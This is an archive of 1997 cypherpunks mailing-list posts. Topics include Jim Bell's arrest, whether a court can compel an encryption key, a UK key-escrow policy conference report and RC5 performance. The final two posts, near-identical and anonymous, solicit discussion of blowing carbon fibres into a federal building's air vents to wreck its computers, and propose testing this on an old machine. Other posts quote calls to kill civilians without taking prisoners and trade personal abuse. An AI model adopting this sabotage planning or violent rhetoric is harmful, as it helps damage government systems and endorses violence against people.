Subject: Re: Why I think Jim Bell is getting railroaded
In-Reply-To: <3.0.2.32.19970520212520.00afa470@mail.teleport.com>
Message-ID: <v03007800afa8416c9d32@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:25 PM -0800 5/20/97, Alan Olsen wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>I think that the Government is trying to make an example of Mr. Bell.  I
>think
>that much of the charges reported in the news are flase.

Yes, it appears the fuckers are ignoring the lack of any significant
criminality (no bombs, no water poisoned, nobody murdered, no buildings
blown up, and no national capitals extinguished) and are throwing him to
the wolves.

They know that civil rights groups won't touch Bell with a 30-foot pole,
because of his advocacy of murder as a solution to the Problem, and because
he is not a good "poster boy" for a long public trial over free speech
issues.

And they probably have a pretty good case, given the American judicial system.

>Here is why...
>
>1) They claim that Jim was actively trying to disrupt 911 service and poison
>the Bull Run water supply.  These are non-political targets.  Jim only thinks
>in political targets.  (I remember trying to get him to come to grips with
>the
>idea that such a system as AP would not be used just for government types.
>That is would be used against anyone who had enemies.  Could not even make a
>dent...)

Exactly. This just doesn't compute. Bell never talked about poisoning water
supplies, in connection with his theories. (I don't deny that he might not
have speculated with his friends about how easy it might be to do X, or Y,
or Z. We all do such things, and this is the nature of any inquisitive
mind. But it ain't a crime, folks.)


>2) The warrent is sealed, yet the media is reporting all sorts of things
>about
>the case.  Where is the information coming from?  Sounds like planted
>information to keep people from complaining too much when they send him up
>the
>river for a few years...  (Whether he survives long in custody is another
>story.  I would be willing to bet that if he does not "cooperate" that he
>will
>have some sort of "accident" while in government hands.)

Actually, in most cases like this the "perp" is found to have hanged himself.

I never met Bell, but I sure hope this doesn't happen to him.

>3) The suspected crimes list keeps changing.  How many times has the
>"official" story changed?  Each time it gets more and more lurid.  (And many
>of the crimes are ones that get used against damn near every case the
>government tries against someone who threatens the security of the state.
>Belief starts to wear a bit thin after a while...)

The cops are clearly working with the media whores--that guy Painter is an
example--and are "tuning" their story to maximize the PR value.

It's the American Way.

--Tim May




There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 21 May 1997 13:51:59 +0800
To: "Attila T. Hun" <attila@primenet.com>
Subject: Re: Wine Politics Again!
In-Reply-To: <8a1H7D13w165w@bwalk.dm.com>
Message-ID: <3.0.1.32.19970520222443.007560a8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:46 PM 5/20/97 +0000, Attila T. Hun wrote:
>    Dresden was probably the first highly visible of America's
>    willingness to literally destroy civilian populations with the
>    express intent of demoralizing a nation. 

General Sherman's march through the Confederacy wasn't first either.
Depending on when you count "America" starting, it was probably
some attack on some Indian group.  If you count internal attacks as well,
maybe the crushing of the Whiskey Rebellion or Shay's Rebellion?

>    government is its own end:  power corrupts, and absolute power 
sounds like so much fun....

>+Why go so far back?  How many civilians were murdered by the U.S.
>+gubmint in Korea, in Viet Nam, in Panama, in Iraq?

Casualties from Bush's invasion of Panama were about 6000, mostly military.
All sorts of people were murdering civilians in VietNam and Korea - 
governments, wannabe governments, other civilians...
US figures for deaths in VietNam are typically given as 50,000,
though sometimes you can remind them of the 2-3 million VietNamese killed
(in contrast to during the war itself, when there were exaggerated
body counts to make it sound like the draftees were doing a great
job of killing Commies.)



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 21 May 1997 05:06:09 +0800
To: cypherpunks@toad.com
Subject: Re: Forgery detection
Message-ID: <199705202033.WAA26798@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Mon, 19 May 1997 14:35:57 -0600 (MDT)
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Cc: cypherpunks@toad.com
Subject: Re: Forgery detection

On Mon, 19 May 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Tim C. May is just another garden variety Intel pansy that has been misusing its 
> `manhole' so badly that the overstretched Graham-John Bullers cannot hold back the shit that 
> all Intellers are full of and it spills out onto this mailing list.
> 
>             /\_/\
>            ( x x )
>        -oo0-(o o)-0oo- Tim C. May
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Modulator of alt.2600.modulated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 21 May 1997 13:50:01 +0800
To: cypherpunks@algebra.com
Subject: Compelling a key
In-Reply-To: <199705210354.WAA11857@einstein.ssz.com>
Message-ID: <v03007801afa845edac1f@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 7:54 PM -0800 5/20/97, Jim Choate wrote:
>Forwarded message:
>
>> Date: Thu, 15 Jul 1993 23:04:39 -0400
>> From: Allan Thompson <sparky12@earthlink.net>
>> Subject: encryption laws
>
>> Would it be possible for a court to subpeona a encrypted file or key,
>>
>> and order you to tell them the key ?
>> If you didn't would you be held in 'contempt of court' ?
>
>If they had reasonable cause to believe you had knowledge of the key and
>were refusing to divulge it under direct order of the court you would be
>held in contempt until you were very old and gray.

Not necessarily. Mike Godwin, and others, have written about the
"compelling of keys." It is by no means clear that a key can be compelled.
Citing the Fifth is one approach, saying one "forgot" is another.

As to being held indefinitely, imprisonment as an inducement to cooperation
has limits. (I just saw a spiel by Alan Dershowitz and others on this
tonight, vis-a-vis how long Susan McDougal can be imprisoned for contempt
in the Whitewater investigation.)

Basically, only until there is no reasonable expectation that the contempt
will be satisfied (or whatever the exact term is).

In practice, I think the Washington, D.C. doctor, Elizabeth X, the woman
who refused to say where her children were, was held for about 2 years, and
that this was the all-time record for a contempt case. She was ultimately
released when the court concluded she had no intention of cooperating.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 21 May 1997 12:45:58 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: encryption laws (fwd)
Message-ID: <199705210354.WAA11857@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Forwarded message:

> Date: Thu, 15 Jul 1993 23:04:39 -0400
> From: Allan Thompson <sparky12@earthlink.net>
> Subject: encryption laws

> Would it be possible for a court to subpeona a encrypted file or key,
> 
> and order you to tell them the key ?
> If you didn't would you be held in 'contempt of court' ?

If they had reasonable cause to believe you had knowledge of the key and
were refusing to divulge it under direct order of the court you would be
held in contempt until you were very old and gray.


                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 21 May 1997 06:21:11 +0800
To: cypherpunks@cyberpass.net
Subject: LSE UK crypto politics conference
Message-ID: <199705202203.XAA00956@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



I went to the conference in London on Monday organised by PI (Privacy
Intl.) and GILC (Global Internet Liberty Campaign.)  Speakers were
DTI representatives, Whit Diffie, Phil Zimmermann, Ross Anderson, Carl
Ellison, IBM UK representative, a few people from LSE (London School
of Economics, who hosted the conference).

I don't take notes, but here's a list of points I considered
interesting.  If you want details on any issues I can give more detail
as required.  If anyone else reading went and did take notes they
might be able to attribute quotes a little more accurately.  I
understand there's supposed to be an audio transcript on the web
http://www.privacy.org/pi/conference/dti might be a good place to look.

Government Presentation of proposal

1) David Hendon and Nigel Hickson from DTI presented the DTIs arguments.
They argued that this is a green paper only, the government has
changed, the document was partly the views of the previous government
and partly the views of the DTI.  This I viewed as an attempt to
deflect criticisms, as they could not specify what has changed, and
were not planning to change the document.  (The new government have
not looked at the issue at all).  The labour party had a much more
reasonable policy they published before they got in power; but it
remains to be seen whether they will stick to this or whether the
CESG/GCHQ will lobby them to adopt GAK/TTPs etc., which are in the
CESGs interests.

They claimed to not want to escrow signature keys, but only to escrow
encryption keys.  (The wording in the document clearly states that
they wish to escrow all keys as a condition of being a TTP).  They
said they had many comments on this issue.  (Clearly the only use for
escrowing signature keys is to allow forgeries.  Why would the
government want to forge messages from citizens?  To provide law
enforcement access they only need access to private encryption keys.)

The DTI said much of licensing requirements for TTPs were modelled
after banking regulations.

Architectural and Technical

2) Ross Anderson gave the example of the health service's experience
with CESG/GCHQ foisting flawed cryptography solution CASM on it
(complete with key escrow and secret algorithm Red Pike).  The BMA
(British Medical Assoc), and even DoH (Dept of Health) rejected this
`offer'.  Ross is a computer security advisor to the BMA.  He also
debunked many of the lies spread by GAK proponents, and gave a potted
history of the behind the scenes GAK activities in the UK and Europe.
He also said that CASM was now the laughing stock of Europe in the
crypto community, and that in response the CESG had allocated a new
project manager and given CASM a cosmetic name change to CLOUD COVER.

3) Whit Diffie argued about the importance of privacy in the
information society.  Explained how PK crypto removed the previous
problems with centralised key distribution services.

4) Phil Zimmermann gave his usual talk about the ethical case for free
use of crypto.  Civil rights workers, resistance fighters against
governments with poor civil rights records, etc.  Also made the point
that the backdoor into crypto the DTI appeared to be pushing would
allow the current government to abuse it's power to stay in
government.

Legal and Commercial

5) Peter Sommer, LSE made some points on legal topics digital signature
legislation, etc.

6) Carl Ellison, Cybercash argued against the centralised trust model,
and against X509.  Arguing instead for distributed trust models
particulary Rivest's SDSI and his own work on distributed trust.  Carl
argued that trust should represent permissions, and be administered by
the interested parties.  (eg your bank gives you a key with permission
to draw money from your bank account, not some government licensed
TTP).

7) IBM (in the form of Peter Dare, IBM UK) sold out to GAK.  Peter
Dare's presentation started with a list of things he liked about the
DTI proposal, then a few minor criticisms (very respectfully put), and
as a punchline to his talk presenting IBM GAKware (forget the product
name) and his talk finished with a sales pitch for this product.  At
the end of which Whit Diffie shouted out from the audience can Carl
Ellison have equal time for a cybercash sales pitch!

International

8) John Dryden representing the OECD gave a presentation of the OECD
guidelines.  (T-shirt and jeans odd the rest of the government and
business types wore suits.)  He explained the guidelines as a
significant relaxation.  The guideline referring to key escrow was
changed to a `may' escrow keys rather than a `should' escrow keys.
Said most of the time spent during the OECD SOGIS discussions was
spent arguing about key escrow.  He considered the guidelines a
significant step forward.  The guidelines are non-binding
recommendations.  He said 28 countries signed up, which should
indicate that their countries representatives found the guidelines
consistent with national laws.

9) Alistair Kelman, visiting position at LSE

Made the point (as several others had) that a general principle should
be that trust should mirror existing user trust relationships.  People
do not trust government, nor the sort of large organisations the DTI
is clearly envisaging as suitable TTPs.  He argued that GPs (General
Practitioners, family doctors) would be suitable candidates as trusted
members of the local community.  Kelman also seemed to be arguing that
keys should handed to the user, and not generated by the user.  I
queried him about this afterwards, as it is clearly a bad security
model, and he said he considered it a usability issue, generating keys
being too difficult for the user.  I don't agree, the usability is a
matter to be solved by good software, not by centralising key
generation.

Civil Rights and Privacy

10) Simon Davies, PI argued that case for commonality of interests
between business and privacy issues.

11) David Banisar, EPIC talked about the history of the US clipper
series, and raised the topic of digital telephony bill (where the
government requested access to first 1% and then reduced simultaneous
wiretaps).

Following up from this someone from the floor claimed that the
telephone networks are tappable without the phone company (BT, British
Telecom's) cooperation.  Indeed the person making this claim (who
claimed comprehensive experience and knowledge of phone routing
hardware) said that BT would not even be aware that the tap had taken
place.  Several others in the audience confirmed this was the case.
Whit Diffie said that he had not heard this claim, and that it was not
the case to his knowledge in the US.  The person making the claim said
that he knew the switches used in the US were the same (and quoted the
switch model), and so he didn't see why not.  The question was raised
as to why digital telephony was necessary at all with this type of
phone switch being used in the US.

Law Enforcement

12) The guy from NCIS (National Criminal Intelligence Service) didn't
turn up because he had to go to hospital due to an eye problem.  The
chair, Prof Ian Angell, LSE suggested this might have been due to
looking through too many keyholes :-)

Panel and Open Discussion

Panel: Carl Ellison, legal advisor to GLIC (forget name), Nigel
Hickson DTI, someone from TIS (?) who spoke too quitely.  Chair was
Caspar Bowden, Scientists for Labour.

Most of the panel session consisted of arguments directed at the DTI
and questions for Nigel Hickson representing the DTI.  Hickson had
made jokes about the hostility he was expecting.  He appeared quite
competent at avoiding answering questions directly where this suited
him.

Each panelist was given the opportunity to summarise their position.
Nigel Hickson claimed the main motivation for the proposal was to
encourage user and business confidence in digital signatures for
business purposes, and thereby to promote electronic commerce.  He
used this as justification for the banning of un-licensed TTPs.
Several comments from the floor that it would be better to let the
market decide, and to allow unlicensed certification authorities, key
servers etc to continue unmolested, and in competition with GAKked
government licensed services.

Hickson also claimed key escrow was a small part of their
consideration.  (I'm sure it's true that this is the part they wish to
downplay as this is the part which causes the majority of resistance.)

The question was raised as to whether the DTI understood that the TTP
system could be trivially bypassed by the criminals it was supposedly
designed to catch.  An example given was that anyone wishing to bypass
could use the sigature key helpfully certified by the TTP to
authenticate non escrowed keys they generated outside the TTP system.
The point that there were many other subliminal channels was raised
also.  Nigel Hickson acknowledged this, but said in defence that some
criminals are stupid, that criminals must talk to non-criminals.

Someone put it to Hickson "What is the worst thing that could possibly
happen if the government did nothing?"  ie what if the government
didn't legislate anything, ie why doesn't the government get the fuck
out of the way so that business can get on with commerce unimpeded.
Several business people put it to the DTI that they didn't need any
`help', and that the regulations had held up electronic commerce for
too long already.

Several people argued that business is most interested in
authentication, and not in confidentiality.  So for business purposes
(which what after all the DTI claim is the main reason for the paper,
and the DTI being after all the `Department of Trade and Industry' and
having a mandate to further the interests of UK businesses), they
could achieve what they wanted without bringing escrow into the
argument at all, as they have acknowledged that they will now not be
requiring copies of secret part of signature keys.

People argued against the high cost of becoming a TTP.  The point was
raised that it should be SME (Small to Medium-sized Enterprises) which
are encouraged in electronic commerce.  Also that many internet
innovations start as small or even one man consultancies.

Several asked whether the paper should be re-written as a result of
comments before being presented to the new government, as the comments
if listened to would remove most of the current content.  Also the
question was asked as to whether the deadline for comments could be
extended beyond end of May.  No substantive answer was given to either
of these two questions.

My conclusions

The DTI didn't really clarify their position much, most of the
contentious stuff (mandatory licensing, key escrow, financial barriers
to becoming a TTP) there were no substantive replies to from the DTI,
other than that they were collating the comments.  They said they
would present the Labour science minister/labour government with the
green paper unmodified together with the comments.  (And one presumes
a few spooks from GCHQ/CESG will get the opportunity to present the
four horsemen/spook special interest perspective).  The only clear
statement I noticed the DTI spokespersons make was that they wouldn't
hold the private halves of signature keys.

On the positive side, the labour statement on encryption prior to
coming to office was no where near as draconian as the DTI paper.

Anyway, we'll see.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 21 May 1997 14:29:33 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Re: Wine Politics Again!
In-Reply-To: <8a1H7D13w165w@bwalk.dm.com>
Message-ID: <19970520231014.03100@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, May 20, 1997 at 04:46:08PM +0000, Attila T. Hun wrote:

>    government is its own end:  power corrupts, and absolute power 
>    corrupts absolutely.  hasn't changed yet in history.  even the 
>    greats, Solomon, David, etc. fell prey to the siren song of power;
>    why should far more inferior men like Bubba, who has absolutely 
>    nothing to his credit except deceit, be exempt?

"Power corrupts..." isn't a property of governments, it is a property 
of individual human beings.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 21 May 1997 14:32:29 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Re: Wine Politics Again!
In-Reply-To: <ZwoH7D8w165w@bwalk.dm.com>
Message-ID: <19970520231301.63529@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, May 20, 1997 at 04:23:10PM +0000, Attila T. Hun wrote:
[...]
>    as for the great fairweather liberal bigot Blanc's passing it off 
>    as tcm's drunken ramblings, I doubt it.  war is hell, and 
>    "innocents" get wasted --but, a society at war has no innocents.  
>    blow 'em all away.  scorched earth is inadequate; burnt earth is 
>    more effective. if there are no prisoners, there are no 
>    complainers.

Speaking of power corrupting, notice how the power to speak 
anonymously has destroyed this poor souls brain.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 21 May 1997 16:19:36 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Wine Politics Again!
In-Reply-To: <ZwoH7D8w165w@bwalk.dm.com>
Message-ID: <3.0.1.32.19970521005002.00772a90@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:13 PM 5/20/97 -0700, Kent Crispin wrote:
>On Tue, May 20, 1997 at 04:23:10PM +0000, Attila T. Hun wrote:
	[rant deleted - bill]
>Speaking of power corrupting, notice how the power to speak 
>anonymously has destroyed this poor souls brain.

Attila's not anonymous - he's a regular poster, and has been
for long enough to build up some reputation around his penname.

> "Power corrupts..." isn't a property of governments, 
> it is a property of individual human beings.

Mostly.  But you're presumably advocating government by humans.
And while government is an abstraction of the activities of a 
lot of individual humans, governments do tend to accumulate
and abuse power, and tend to reach a point where they're more
interested in maintaining and increasing that power than in
any legitimate activities like protecting life, liberty, and property.
Consider the drug war, the military-industrial complex,
the fraction of your income that's paying for government,
and compare that with 200 years ago...

Also power _attracts_ the corrupt, and the corruptible.
As Henry the K said, it's the ultimate aphrodisiac.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 21 May 1997 15:38:32 +0800
To: cypherpunks@toad.com
Subject: Re: encryption laws (fwd)
In-Reply-To: <199705210354.WAA11857@einstein.ssz.com>
Message-ID: <47F27D60w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate <ravage@EINSTEIN.ssz.com> writes:

> Forwarded message:
>
> > Date: Thu, 15 Jul 1993 23:04:39 -0400
> > From: Allan Thompson <sparky12@earthlink.net>
> > Subject: encryption laws
>
> > Would it be possible for a court to subpeona a encrypted file or key,
> >
> > and order you to tell them the key ?
> > If you didn't would you be held in 'contempt of court' ?
>
> If they had reasonable cause to believe you had knowledge of the key and
> were refusing to divulge it under direct order of the court you would be
> held in contempt until you were very old and gray.

Yes - the 5th Amendment is useless like all the other consitutional "rights".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz (Peter Gutmann)
Date: Tue, 20 May 1997 21:59:29 +0800
To: juriaan_massenza@ctp.com
Subject: Re: Question: RC5 assembly code?
Message-ID: <86413522220879@cs26.cs.auckland.ac.nz>
MIME-Version: 1.0
Content-Type: text/plain


>I have the source code for RC5 encryption algorithm, but it is in C, well it
>is still cool since it is "portable" but I am actually looking for a PowerPC
>assembly code for the same, or at least for the Key Expansion, Encryption and
>Decryption routines.
>
>The "formula" for RC5 is pretty interesting and looks like is made to be
>implemented in Assembler.
 
Not if it's x86 assembler.  On the Pentium each rotate uses 4-5 non-pairable
cycles, so rotates are very slow (each rotate is the equivalent of (in the best
case) 8-10 normal instructions, so the two rotates in an RC5 round are the
equivalent of 16-20 other instructions).  According to Intel shifts and rotates
have been optimised on the PPro so they're slight faster than on the P5, but I
haven't looked at the details yet.  I haven't tried to formulate the RC5 core
in asm yet (because of the patent - what good is it writing code which noone
can use?) but on Intel hardware it's certainly going to be a lot slower than it
looks (the much more complex CAST core is faster than just the rotates from the
RC5 core).  This is kind of unfortunate, because it's a nice algorithm.
 
Peter.
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz (Peter Gutmann)
Date: Tue, 20 May 1997 21:48:01 +0800
To: hal@rain.org
Subject: Re: Public Key Break Paper
Message-ID: <86413527217449@cs26.cs.auckland.ac.nz>
MIME-Version: 1.0
Content-Type: text/plain


>John Young, <jya@pipeline.com>, writes:
>>In early April we posted a message which referred to William H. Payne's paper
>>"Public Key Cryptography is Easy to Break."
>
>First, it is not a general attack on public key cryptography, but rather it is
>a specific method for attacking RSA.
>
>Second, I remember seeing this algorithm discussed on sci.crypt in the past,
>probably in 1996.
 
There was also a response/rebuttal to this paper in RSA's Ciphertext
newsletter, Vol.2, No.1 (Summer 1994), p.9, "Public Key Cryptography is Not
Easy to Break" which shows that it's not nearly as easy as the author of the
original paper thinks.
 
(I had another look at the unbalanced RSA proposal in the Autumn 1995
 CryptoBytes as I was trying to find the above article, did anyone ever do
 anything with unbalanced RSA or was it just left as a curiosity?).
 
Peter.
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 21 May 1997 19:04:35 +0800
To: cypherpunks@toad.com
Subject: Re: Wine Politics Again!
In-Reply-To: <19970520231301.63529@bywater.songbird.com>
Message-ID: <XHL27D61w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin <kent@songbird.com> writes:

> On Tue, May 20, 1997 at 04:23:10PM +0000, Attila T. Hun wrote:
> [...]
> >    as for the great fairweather liberal bigot Blanc's passing it off
> >    as tcm's drunken ramblings, I doubt it.  war is hell, and
> >    "innocents" get wasted --but, a society at war has no innocents.
> >    blow 'em all away.  scorched earth is inadequate; burnt earth is
> >    more effective. if there are no prisoners, there are no
> >    complainers.
>
> Speaking of power corrupting, notice how the power to speak
> anonymously has destroyed this poor souls brain.

Fuck you, Kent.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Wed, 21 May 1997 19:12:53 +0800
To: cypherpunks@toad.com
Subject: The Bell Plan
Message-ID: <199705211012.DAA23701@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

John Young wrote:
>    The Oregonian, May 20, 1997, Metro Section P-1:
>       An affidavit says a Vancouver man arrested Friday talked of
>       sabotaging Portland's 9-1-1 computer and Bull Run water
> 
>    Vancouver, Wash. -- A Vancouver man arrested Friday by Internal
>    Revenue agents discussed sabotaging the computers in Portland's
>    9-1-1 center and talked about using a botulism toxin to contaminate
>    the Bull Run water supply, a federal agent said Monday.

  After reading this news article and a variety of posts on the cypherpunks
list (especially by Tim May and Paul Bradley), I have decided that I cannot
in good conscious allow Jim Bell's persecution for exercising his basic
human right to free speech to pass by without taking personal action to
support him.
  "Then they came for the CypherPunks, and nobody spoke up..."
                                       - Jonathan

  Accordingly, I am hereby starting a thread on the cypherpunks list
to discuss "the possibility of putting the fibers down the air vents 
of a federal building" to kill its computers, and the feasability
of using other methods to accomplish the same end.

  If Jim Bell is guilty of the charges against him, then I am already
guilty of the same types of charges, as are many other cypherpunks.
I undoubtedly have some of the same files/posts on my computer as
the ones that the government will use as proof of Jim Bell's guilt.

  My action in this regard is for the purpose of protesting the
governments persecution of its citizens, Jim Bell specifically,
and to act to counter the benefits that they expect to gain by
doing so.
(CypherPunk Translation~~"I'm pissing in the government's face.")

  In keeping with what I see as a cypherpunk frame of mind, I am
posting this via an anonymous remailer, but I am also digitally 
signing it. I am not hiding my identity, but merely taking 
action to prevent my public statement from being used to unjustly
persecute me.

  In effect, I am telling the U.S. government that in exercising
one of my basic human rights I feel it is necessary to protect
myself legally from the government persecution of its citizens.
  I am also telling them that I will not "go quietly into the
night" in the face of censorship, loss of privacy, and oppression.
I will "route around" the "damage" that the government's policies
and legislation cause, doing so in a non-violent manner. 
  (Hopefully, but not realistically, they will recognize that
if they manage to block all means for me to non-violently
route around the abrogation of my rights as a free human being,
that my only alternatives will be conflict or enslavement.)

  Anyway, in thinking about the possibilities surrounding the
introduction of carbon fibers into a federal building, my first
thought was in regard to whether or not carbon fibers are
actually known to cause damage to hard drives.
  Does anyone know where this idea comes from and whether it
has any known basis in fact? If there is some basis for
believing it to be a possibility, then it would not take much
effort to test it out. One could get an old computer for a
petty sum and use it to test the results of introducing the
fibers through the power supply.

TruthMonger #1
"They will get my cryptography when they pry it from my
cold, dead algorithms."


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Version: 5.0 beta
Charset: noconv

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ejNKl2McRK7WrP+TQPNx9hwxFrW93JrqjhSPhZsgkVNtIHG/wE1RpdWJzPiIOeP2
/Q9TTHmRoRU=
=x+P/
-----END PGP SIGNATURE-----

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Version: 5.0 beta

mQCNAzMs140AAAEEAL1CAoB5pd97hIOoT6L0v05Ov8nw0unf0db6NXZ91EJAyq9p
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F1/QOd4PZeEW2aNT/shxfm3Q9zpxGzyFgy//tEXdw2aedzdT4oMOgDBqMrzc2LfN
8zWqF5cWJLASIqwbrIkmyZR6LUCxmE79WmgRlQGAHfMwwC3WLYkAlQMFEDOCfw+w
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rIrd7VQ=
=MuiR
-----END PGP PUBLIC KEY BLOCK-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Wed, 21 May 1997 18:58:04 +0800
To: cypherpunks@toad.com
Subject: The Bell Plan
Message-ID: <199705211026.EAA02919@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

John Young wrote:
>    The Oregonian, May 20, 1997, Metro Section P-1:
>       An affidavit says a Vancouver man arrested Friday talked of
>       sabotaging Portland's 9-1-1 computer and Bull Run water
> 
>    Vancouver, Wash. -- A Vancouver man arrested Friday by Internal
>    Revenue agents discussed sabotaging the computers in Portland's
>    9-1-1 center and talked about using a botulism toxin to contaminate
>    the Bull Run water supply, a federal agent said Monday.

  After reading this news article and a variety of posts on the
cypherpunks
list (especially by Tim May and Paul Bradley), I have decided that I
cannot
in good conscence allow Jim Bell's persecution for exercising his basic
human right to free speech to pass by without taking personal action to
support him.
  "Then they came for the CypherPunks, and nobody spoke up..."
                                       - Jonathan

  Accordingly, I am hereby starting a thread on the cypherpunks list
to discuss "the possibility of putting the fibers down the air vents 
of a federal building" to kill its computers, and the feasability
of using other methods to accomplish the same end.

  If Jim Bell is guilty of the charges against him, then I am already
guilty of the same types of charges, as are many other cypherpunks.
I undoubtedly have some of the same files/posts on my computer as
the ones that the government will use as proof of Jim Bell's guilt.

  My action in this regard is for the purpose of protesting the
governments persecution of its citizens, Jim Bell specifically,
and to act to counter the benefits that they expect to gain by
doing so.
(CypherPunk Translation~~"I'm pissing in the government's face.")

  In keeping with what I see as a cypherpunk frame of mind, I am
posting this via an anonymous remailer, but I am also digitally 
signing it. I am not hiding my identity, but merely taking 
action to prevent my public statement from being used to unjustly
persecute me.

  In effect, I am telling the U.S. government that in exercising
one of my basic human rights I feel it is necessary to protect
myself legally from the government persecution of its citizens.
  I am also telling them that I will not "go quietly into the
night" in the face of censorship, loss of privacy, and oppression.
I will "route around" the "damage" that the government's policies
and legislation cause, doing so in a non-violent manner. 
  (Hopefully, but not realistically, they will recognize that
if they manage to block all means for me to non-violently
route around the abrogation of my rights as a free human being,
that my only alternatives will be conflict or enslavement.)

